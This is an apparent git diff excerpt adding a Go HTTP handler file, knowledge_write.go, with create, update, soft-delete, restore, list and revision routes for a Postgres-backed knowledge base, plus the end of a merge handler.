if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities
|
||||||
|
SET content = content || $2,
|
||||||
|
tags = ARRAY(SELECT DISTINCT unnest(COALESCE(tags,'{}') || $3::text[])),
|
||||||
|
edited_by = $4,
|
||||||
|
updated_at = now()
|
||||||
|
WHERE entity_id = $1`,
|
||||||
|
targetID, appended.String(), extraTags, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "merge write failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, srcSlug := range merged {
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities ke
|
||||||
|
SET deleted_at = now(), edited_by = $2
|
||||||
|
FROM entities e
|
||||||
|
WHERE e.id = ke.entity_id AND (e.slug = $1 OR e.id::text = $1)`,
|
||||||
|
srcSlug, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "source delete failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge merged", "target", body.Target, "sources", merged, "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true, "merged": merged, "tags_added": extraTags})
|
||||||
|
}
|
||||||
|
|
||||||
|
// lowerAll is the case-folding helper the tag queries compare against.
|
||||||
|
func lowerAll(in []string) []string {
|
||||||
|
out := make([]string, len(in))
|
||||||
|
for i, s := range in {
|
||||||
|
out[i] = strings.ToLower(strings.TrimSpace(s))
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
659
internal/httpapi/knowledge_write.go
Normal file
659
internal/httpapi/knowledge_write.go
Normal file
@@ -0,0 +1,659 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"log/slog"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"regexp"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Operator-facing write path for the knowledge base. Until this file, the
|
||||||
|
// only way anything reached knowledge_entities was the MCP tool
|
||||||
|
// upsert_knowledge (internal/mcp/server.go) — an agent-only surface. The web
|
||||||
|
// UI could search and read but never create, correct, or remove a note, so
|
||||||
|
// the operator's own knowledge had nowhere to go and an agent mistake had no
|
||||||
|
// fix short of psql.
|
||||||
|
//
|
||||||
|
// All routes here are non-OpenAPI custom routes, consistent with the existing
|
||||||
|
// knowledge read routes (see the carve-out block in server.go): they trade in
|
||||||
|
// raw markdown and ad-hoc aggregates rather than generated schema types.
|
||||||
|
//
|
||||||
|
// Deletion is soft (deleted_at) — see migrations/022_knowledge_revisions.up.sql
|
||||||
|
// for why — so every read path in this file filters on `ke.deleted_at IS NULL`.
|
||||||
|
|
||||||
|
// knowledgeSlugSegmentRe strips a title down to a single slug segment.
|
||||||
|
// Mirrors knowledgeSlugRe in internal/mcp/server.go; duplicated rather than
|
||||||
|
// exported across the package boundary because the two callers namespace
|
||||||
|
// their output differently (see knowledgeSlugFor).
|
||||||
|
var knowledgeSlugSegmentRe = regexp.MustCompile(`[^a-z0-9]+`)
|
||||||
|
|
||||||
|
// knowledgeSlugFor builds `<kind>:<folder>/<title-slug>`. The MCP tool's
|
||||||
|
// equivalent hardcodes the `nomos/` folder; operator-created notes need to
|
||||||
|
// land somewhere else so the navigator tree can tell at a glance who wrote
|
||||||
|
// what, and so an operator note can never collide with an agent note that
|
||||||
|
// happens to share a title.
|
||||||
|
func knowledgeSlugFor(kind, folder, title string) string {
|
||||||
|
s := strings.ToLower(strings.TrimSpace(title))
|
||||||
|
s = knowledgeSlugSegmentRe.ReplaceAllString(s, "-")
|
||||||
|
s = strings.Trim(s, "-")
|
||||||
|
if s == "" {
|
||||||
|
s = "note"
|
||||||
|
}
|
||||||
|
if len(s) > 80 {
|
||||||
|
s = s[:80]
|
||||||
|
}
|
||||||
|
folder = strings.Trim(strings.ToLower(strings.TrimSpace(folder)), "/")
|
||||||
|
folder = knowledgeSlugSegmentRe.ReplaceAllString(folder, "-")
|
||||||
|
folder = strings.Trim(folder, "-")
|
||||||
|
if folder == "" {
|
||||||
|
folder = "operator"
|
||||||
|
}
|
||||||
|
return kind + ":" + folder + "/" + s
|
||||||
|
}
|
||||||
|
|
||||||
|
// validKnowledgeKind mirrors the three entity types that knowledge_entities
|
||||||
|
// rows are allowed to hang off (see upsert_knowledge's own check).
|
||||||
|
func validKnowledgeKind(kind string) bool {
|
||||||
|
switch kind {
|
||||||
|
case "document", "investigation", "runbook":
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveKnowledgeEntity maps an id-or-slug path segment to the entity id of
|
||||||
|
// a live (non-deleted) knowledge note. Returns pgx.ErrNoRows when there's no
|
||||||
|
// such note, which callers turn into a 404.
|
||||||
|
func (s *Server) resolveKnowledgeEntity(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||||
|
var id uuid.UUID
|
||||||
|
err := s.pool.QueryRow(ctx, `
|
||||||
|
SELECT ke.entity_id
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||||
|
AND ke.deleted_at IS NULL`, idOrSlug).Scan(&id)
|
||||||
|
return id, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// resolveKnowledgeEntityAny is resolveKnowledgeEntity without the
|
||||||
|
// deleted_at filter — for the one read path (revisions) that must still work
|
||||||
|
// on a deleted note. The whole point of soft-delete is that a note's history
|
||||||
|
// stays inspectable after removal (e.g. to confirm what was lost before
|
||||||
|
// restoring it); requiring the note to be live first would defeat that.
|
||||||
|
func (s *Server) resolveKnowledgeEntityAny(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||||
|
var id uuid.UUID
|
||||||
|
err := s.pool.QueryRow(ctx, `
|
||||||
|
SELECT ke.entity_id
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).Scan(&id)
|
||||||
|
return id, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// pathParam pulls a chi URL param and percent-decodes it. Knowledge slugs
|
||||||
|
// contain both ':' and '/' (e.g. "document:containers/101-jellyfin"), so they
|
||||||
|
// reach the handler still encoded — chi.URLParam does no decoding of its own
|
||||||
|
// on manually-registered routes (unlike the OpenAPI-generated ones, which
|
||||||
|
// decode via runtime.BindStyledParameterWithOptions).
|
||||||
|
func pathParam(req *http.Request, name string) (string, error) {
|
||||||
|
return url.PathUnescape(chi.URLParam(req, name))
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeList returns every live note without its body — the backing
|
||||||
|
// data for the wiki navigator tree. Distinct from /knowledge/recent, which
|
||||||
|
// caps at 200 and exists to answer "what changed lately" for the stats view:
|
||||||
|
// the tree needs the complete set, and needs the linked-entity slugs so it
|
||||||
|
// can offer a group-by-entity arrangement without N+1 fetches.
|
||||||
|
//
|
||||||
|
// Body text is deliberately excluded — with ~100 notes averaging ~1 KB the
|
||||||
|
// full payload would be ~100 KB per app open, to render a list that shows
|
||||||
|
// only titles.
|
||||||
|
func (s *Server) serveKnowledgeList(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
type item struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
Source string `json:"source"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
Tags []string `json:"tags"`
|
||||||
|
About []string `json:"about"`
|
||||||
|
Size int `json:"size"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
CreatedAt string `json:"created_at"`
|
||||||
|
Revisions int `json:"revisions"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// The `about` aggregate mirrors GetEntityKnowledge's first UNION branch
|
||||||
|
// (documents/about edges) — the 'procedure-for' branch is left out here
|
||||||
|
// because it joins against entity *types* rather than entities and can't
|
||||||
|
// produce a per-note slug list.
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT e.id::text, e.slug, ke.title, e.type, COALESCE(ke.source,''),
|
||||||
|
COALESCE(ke.edited_by,''), COALESCE(ke.tags, '{}'),
|
||||||
|
COALESCE((
|
||||||
|
SELECT array_agg(DISTINCT t.slug)
|
||||||
|
FROM relationships r
|
||||||
|
JOIN entities t ON t.id = r.target_id
|
||||||
|
WHERE r.source_id = ke.entity_id
|
||||||
|
AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('documents', 'about')
|
||||||
|
), '{}'),
|
||||||
|
length(ke.content),
|
||||||
|
ke.updated_at::text, ke.created_at::text,
|
||||||
|
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
ORDER BY ke.updated_at DESC`)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
items := []item{}
|
||||||
|
for rows.Next() {
|
||||||
|
var it item
|
||||||
|
if err := rows.Scan(&it.ID, &it.Slug, &it.Title, &it.Kind, &it.Source,
|
||||||
|
&it.EditedBy, &it.Tags, &it.About, &it.Size,
|
||||||
|
&it.UpdatedAt, &it.CreatedAt, &it.Revisions); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/list row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, it)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeTrash lists soft-deleted notes — the counterpart to
|
||||||
|
// serveKnowledgeList, and what the "restore" affordance in the UI browses.
|
||||||
|
// Without this, a deleted note is invisible from every list endpoint
|
||||||
|
// (correctly — they all filter deleted_at) with no way to even discover it
|
||||||
|
// exists to restore.
|
||||||
|
func (s *Server) serveKnowledgeTrash(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''), ke.deleted_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NOT NULL
|
||||||
|
ORDER BY ke.deleted_at DESC`)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type item struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
DeletedBy string `json:"deleted_by"`
|
||||||
|
DeletedAt string `json:"deleted_at"`
|
||||||
|
}
|
||||||
|
items := []item{}
|
||||||
|
for rows.Next() {
|
||||||
|
var it item
|
||||||
|
if err := rows.Scan(&it.Slug, &it.Title, &it.Kind, &it.DeletedBy, &it.DeletedAt); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/trash row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, it)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// knowledgeWriteBody is the shared request shape for create and update.
|
||||||
|
// Every field is a pointer so update can distinguish "not supplied" (leave
|
||||||
|
// alone) from "supplied empty" (clear it) — a PUT that only changes tags
|
||||||
|
// must not blank the body.
|
||||||
|
type knowledgeWriteBody struct {
|
||||||
|
Title *string `json:"title"`
|
||||||
|
Content *string `json:"content"`
|
||||||
|
Kind *string `json:"kind"`
|
||||||
|
Tags *[]string `json:"tags"`
|
||||||
|
Folder *string `json:"folder"`
|
||||||
|
About *[]string `json:"about"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveCreateKnowledge creates a note plus its backing entity, and links it
|
||||||
|
// to whatever entities it's about.
|
||||||
|
func (s *Server) serveCreateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
var body knowledgeWriteBody
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
title := strings.TrimSpace(deref(body.Title))
|
||||||
|
content := strings.TrimSpace(deref(body.Content))
|
||||||
|
if title == "" || content == "" {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "title and content are required", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
kind := deref(body.Kind)
|
||||||
|
if kind == "" {
|
||||||
|
kind = "document"
|
||||||
|
}
|
||||||
|
if !validKnowledgeKind(kind) {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid kind",
|
||||||
|
"kind must be document, investigation, or runbook")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tags := normalizeTags(derefSlice(body.Tags))
|
||||||
|
slug := knowledgeSlugFor(kind, deref(body.Folder), title)
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
docID, _ := uuid.NewV7()
|
||||||
|
// ON CONFLICT covers the soft-deleted case: the entity row survives a
|
||||||
|
// delete, so recreating a note under the same slug must reuse it rather
|
||||||
|
// than fail the unique constraint.
|
||||||
|
if err := tx.QueryRow(ctx, `
|
||||||
|
INSERT INTO entities (id, slug, type, name, attributes)
|
||||||
|
VALUES ($1, $2, $3, $4, '{}')
|
||||||
|
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
|
||||||
|
RETURNING id`, docID, slug, kind, title).Scan(&docID); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "create entity failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Refuse to silently overwrite an existing LIVE note — upsert_knowledge
|
||||||
|
// (the MCP tool) deliberately upserts by title (the agent re-records the
|
||||||
|
// same finding as it learns more), but an operator hitting "create" with
|
||||||
|
// a colliding title almost certainly means to write something new.
|
||||||
|
//
|
||||||
|
// The `WHERE knowledge_entities.deleted_at IS NOT NULL` guard makes this
|
||||||
|
// check atomic with the write, rather than a separate SELECT before it:
|
||||||
|
// a plain pre-check has a TOCTOU race where two concurrent creates of
|
||||||
|
// the same title can both pass the check and then both proceed to
|
||||||
|
// INSERT ON CONFLICT DO UPDATE, silently clobbering each other. Here,
|
||||||
|
// the UPDATE branch only actually applies when the conflicting row is
|
||||||
|
// soft-deleted (a legitimate "resurrect" case). When it isn't, the row
|
||||||
|
// is left untouched, RETURNING yields no row, and pgx.ErrNoRows below
|
||||||
|
// becomes the 409 — the collision can never be missed, no matter how
|
||||||
|
// the two writers interleave.
|
||||||
|
var wroteID uuid.UUID
|
||||||
|
err = tx.QueryRow(ctx, `
|
||||||
|
INSERT INTO knowledge_entities
|
||||||
|
(entity_id, title, content, source, tags, edited_by, updated_at, deleted_at)
|
||||||
|
VALUES ($1, $2, $3, $4, $5, $4, now(), NULL)
|
||||||
|
ON CONFLICT (entity_id) DO UPDATE
|
||||||
|
SET title = EXCLUDED.title, content = EXCLUDED.content,
|
||||||
|
tags = EXCLUDED.tags, edited_by = EXCLUDED.edited_by,
|
||||||
|
updated_at = now(), deleted_at = NULL
|
||||||
|
WHERE knowledge_entities.deleted_at IS NOT NULL
|
||||||
|
RETURNING entity_id`,
|
||||||
|
docID, title, content, actorLabel, tags).Scan(&wroteID)
|
||||||
|
if errors.Is(err, pgx.ErrNoRows) {
|
||||||
|
writeProblem(w, req, http.StatusConflict, "a note with this title already exists", slug)
|
||||||
|
return
|
||||||
|
} else if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "write knowledge failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
linked := s.linkKnowledgeAbout(ctx, tx, docID, derefSlice(body.About))
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge created", "slug", slug, "kind", kind, "actor", actorLabel, "linked", linked)
|
||||||
|
// Content-Type before WriteHeader — setting it after is a no-op, the
|
||||||
|
// status line is already on the wire.
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
w.WriteHeader(http.StatusCreated)
|
||||||
|
if err := json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"slug": slug, "id": docID.String(), "linked": linked,
|
||||||
|
}); err != nil {
|
||||||
|
slog.Error("httpapi: json encode failed", "error", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveUpdateKnowledge edits a live note in place. The prior version is
|
||||||
|
// captured by the trg_knowledge_revision trigger, not by this handler — see
|
||||||
|
// the migration for why that lives in the database.
|
||||||
|
//
|
||||||
|
// Note the slug is intentionally NOT recomputed when the title changes:
|
||||||
|
// slugs are the wiki's stable link target ([[slug]] references, relationship
|
||||||
|
// rows, bookmarked window ids), and silently re-slugging on a typo fix would
|
||||||
|
// break every inbound link.
|
||||||
|
func (s *Server) serveUpdateKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var body knowledgeWriteBody
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if body.Title == nil && body.Content == nil && body.Tags == nil && body.About == nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "nothing to update",
|
||||||
|
"supply at least one of title, content, tags, about")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if body.Title != nil && strings.TrimSpace(*body.Title) == "" {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "title cannot be empty", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if body.Content != nil && strings.TrimSpace(*body.Content) == "" {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "content cannot be empty", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
// COALESCE keeps unsupplied fields untouched; edited_by and updated_at
|
||||||
|
// always move so the UI can show who last touched it. The trigger only
|
||||||
|
// snapshots when title/content/tags actually differ, so a no-op save
|
||||||
|
// doesn't manufacture a revision.
|
||||||
|
var newTitle *string
|
||||||
|
if body.Title != nil {
|
||||||
|
t := strings.TrimSpace(*body.Title)
|
||||||
|
newTitle = &t
|
||||||
|
}
|
||||||
|
var newContent *string
|
||||||
|
if body.Content != nil {
|
||||||
|
c := strings.TrimSpace(*body.Content)
|
||||||
|
newContent = &c
|
||||||
|
}
|
||||||
|
var newTags *[]string
|
||||||
|
if body.Tags != nil {
|
||||||
|
t := normalizeTags(*body.Tags)
|
||||||
|
newTags = &t
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities
|
||||||
|
SET title = COALESCE($2, title),
|
||||||
|
content = COALESCE($3, content),
|
||||||
|
tags = COALESCE($4, tags),
|
||||||
|
edited_by = $5,
|
||||||
|
updated_at = now()
|
||||||
|
WHERE entity_id = $1`,
|
||||||
|
entityID, newTitle, newContent, newTags, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "update failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Keep the entity's display name in step with the note title — the graph
|
||||||
|
// and the fleet table read entities.name, and leaving it stale is exactly
|
||||||
|
// the drift this app exists to fight.
|
||||||
|
if newTitle != nil {
|
||||||
|
if _, err := tx.Exec(ctx,
|
||||||
|
`UPDATE entities SET name = $2, updated_at = now() WHERE id = $1`,
|
||||||
|
entityID, *newTitle); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "rename entity failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// About is replace-semantics, not merge: the editor presents the full
|
||||||
|
// link set, so an absent slug means the operator removed it. Existing
|
||||||
|
// edges are closed (valid_to) rather than deleted, preserving history.
|
||||||
|
var linked []string
|
||||||
|
if body.About != nil {
|
||||||
|
if _, err := tx.Exec(ctx, `
|
||||||
|
UPDATE relationships SET valid_to = now()
|
||||||
|
WHERE source_id = $1 AND valid_to IS NULL AND type IN ('documents', 'about')`,
|
||||||
|
entityID); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "unlink failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
linked = s.linkKnowledgeAbout(ctx, tx, entityID, *body.About)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(ctx); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge updated", "entity_id", entityID, "actor", actorLabel)
|
||||||
|
// `linked` lets the caller diff against what it submitted and warn about
|
||||||
|
// any slug that didn't resolve — see linkKnowledgeAbout: a typo'd entity
|
||||||
|
// slug otherwise fails with nothing but a server-side slog.Warn, so the
|
||||||
|
// operator gets no feedback that one of their About links didn't take.
|
||||||
|
writeJSON(w, map[string]any{"ok": true, "linked": linked})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveDeleteKnowledge soft-deletes a note. The row, its revision trail and
|
||||||
|
// its entity all survive; only the deleted_at stamp changes, and every read
|
||||||
|
// path filters on it.
|
||||||
|
func (s *Server) serveDeleteKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveKnowledgeEntity(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
// Snapshot the live version before tombstoning. The trigger fires on
|
||||||
|
// title/content/tags changes only, and a delete changes none of them —
|
||||||
|
// without this the most recent version would be the one version missing
|
||||||
|
// from the history if the note is later restored.
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
INSERT INTO knowledge_revisions
|
||||||
|
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||||
|
SELECT entity_id, title, content, source, tags, COALESCE(edited_by,''), updated_at
|
||||||
|
FROM knowledge_entities WHERE entity_id = $1`, entityID); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "snapshot failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities SET deleted_at = now(), edited_by = $2
|
||||||
|
WHERE entity_id = $1`, entityID, actorLabel); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "delete failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge deleted", "entity_id", entityID, "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveRestoreKnowledge undoes a soft delete. The counterpart to
|
||||||
|
// serveDeleteKnowledge — without it, "recoverable by clearing the column"
|
||||||
|
// (see the migration) would only be true via psql, which isn't a real
|
||||||
|
// recovery path for an operator using the wiki.
|
||||||
|
func (s *Server) serveRestoreKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
ct, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities SET deleted_at = NULL, edited_by = $2
|
||||||
|
WHERE entity_id = $1 AND deleted_at IS NOT NULL`, entityID, actorLabel)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "restore failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if ct.RowsAffected() == 0 {
|
||||||
|
writeProblem(w, req, http.StatusConflict, "note is not deleted", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
slog.Info("knowledge restored", "entity_id", entityID, "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeRevisions returns the note's superseded versions, newest
|
||||||
|
// first. Bodies are included: revisions are small (~1 KB) and few, and the
|
||||||
|
// diff view needs both sides anyway — paginating would cost a round trip per
|
||||||
|
// comparison to save nothing.
|
||||||
|
func (s *Server) serveKnowledgeRevisions(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
idOrSlug, err := pathParam(req, "id")
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid id", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
entityID, err := s.resolveKnowledgeEntityAny(ctx, idOrSlug)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "no such knowledge note", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT id, title, content, COALESCE(edited_by,''), COALESCE(tags,'{}'),
|
||||||
|
version_at::text, revised_at::text
|
||||||
|
FROM knowledge_revisions
|
||||||
|
WHERE entity_id = $1
|
||||||
|
ORDER BY version_at DESC`, entityID)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type revision struct {
|
||||||
|
ID int64 `json:"id"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Content string `json:"content"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
Tags []string `json:"tags"`
|
||||||
|
VersionAt string `json:"version_at"`
|
||||||
|
RevisedAt string `json:"revised_at"`
|
||||||
|
}
|
||||||
|
items := []revision{}
|
||||||
|
for rows.Next() {
|
||||||
|
var r revision
|
||||||
|
if err := rows.Scan(&r.ID, &r.Title, &r.Content, &r.EditedBy, &r.Tags,
|
||||||
|
&r.VersionAt, &r.RevisedAt); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/revisions row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
items = append(items, r)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// linkKnowledgeAbout points a note at the entities it concerns, skipping
|
||||||
|
// slugs that don't resolve and edges that already exist. Returns the slugs
|
||||||
|
// actually linked so the caller can report what stuck — a typo'd slug is a
|
||||||
|
// silent no-op otherwise.
|
||||||
|
